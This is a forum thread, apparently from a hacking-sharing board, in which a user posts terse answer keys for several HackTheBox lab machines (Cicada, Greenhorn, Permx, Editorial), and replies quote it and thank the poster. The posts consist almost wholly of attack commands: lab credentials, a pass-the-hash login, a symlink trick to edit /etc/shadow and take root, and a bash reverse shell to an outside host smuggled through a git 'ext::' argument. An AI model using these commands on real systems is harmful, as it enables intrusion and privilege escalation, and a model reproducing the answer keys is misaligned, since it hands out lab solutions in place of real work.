Possibly Related Threads…

fuckedupindacrib · (This post was last modified: 10-12-2024, 06:43 AM by fuckedupindacrib.)

Cicada:

User:

evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:

impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341

Greenhorn:

User: get from root

Root:

ssh root@10.10.XX.XX
Pass: sidefromsidetheothersidesidefromsidetheotherside

Permx:

User:

ssh mtz@10.10.XX.XX
Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn
sudo /opt/acl.sh mtz rwx /home/mtz/pwn
sudo nano ~/pwn #remove the password hash for root, save file/close
su root

Editorial:

User:

ssh dev@10.10.XX.XX
Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX
Pass: 080217_Producti0n_2023!@

echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Miek22 · 11-04-2024, 07:13 PM

(10-12-2024, 06:38 AM)fuckedupindacrib Wrote: Cicada:

User:
evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:
impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341
Greenhorn:

User: get from root

Root:
ssh root@10.10.XX.XX Pass: sidefromsidetheothersidesidefromsidetheotherside
Permx:

User:

ssh mtz@10.10.XX.XX Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn sudo /opt/acl.sh mtz rwx /home/mtz/pwn sudo nano ~/pwn #remove the password hash for root, save file/close su root
Editorial:

User:

ssh dev@10.10.XX.XX Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX Pass: 080217_Producti0n_2023!@ echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Thanks for sharing this for free!

bananoname · 11-08-2024, 09:20 AM

(10-12-2024, 06:38 AM)fuckedupindacrib Wrote: Cicada:

User:
evil-winrm -i 10.10.XX.XX -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Root:
impacket-wmiexec Administrator@10.10.XX.XX -hashes :2b87e7c93a3e8a0ea4a581937016f341
Greenhorn:

User: get from root

Root:
ssh root@10.10.XX.XX Pass: sidefromsidetheothersidesidefromsidetheotherside
Permx:

User:

ssh mtz@10.10.XX.XX Pass: 03F6lY3uXAP2bkW8

Root: (in user shell):

ln -s /etc/shadow ~/pwn sudo /opt/acl.sh mtz rwx /home/mtz/pwn sudo nano ~/pwn #remove the password hash for root, save file/close su root
Editorial:

User:

ssh dev@10.10.XX.XX Pass: dev080217_devAPI!@

Root

ssh prod@10.10.XX.XX Pass: 080217_Producti0n_2023!@ echo "/bin/bash -i >& /dev/tcp/10.10.XX.XX/PORT 0>&1" > /tmp/shell sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'

Thanks for sharing this for free!Thanks for sharing this for free!

0x01 · 12-04-2024, 10:18 AM

thanks bro help me a lot

sabiri · 12-16-2024, 11:33 PM

sure but why not give more details Smile

Possibly Related Threads…
Thread		Author	Replies	Views	Last Post
	[FREE] HackTheBox Dante - complete writeup written by Tamarisk	Tamarisk	608	148,900	10-31-2026, 03:08 PM Last Post: Gripson
	[FREE] CPTS 12 FLAGS	pulsebreaker	82	38,264	10-31-2026, 01:30 PM Last Post: thaytoiyeucoay30nam
	[FREE] 300+ Writeups PDF HackTheBox/HTB premium retired	Tamarisk	383	138,855	10-31-2026, 11:47 AM Last Post: thaytoiyeucoay30nam
	[FREE] HackTheBox Academy - CAPE Path Study	Techtom	46	18,874	10-29-2026, 09:49 AM Last Post: H0lyM0ly
	HTB - code + titanic walkthrough \| free	tony_boom23	3	7,281	10-25-2026, 06:35 AM Last Post: A1Raid3r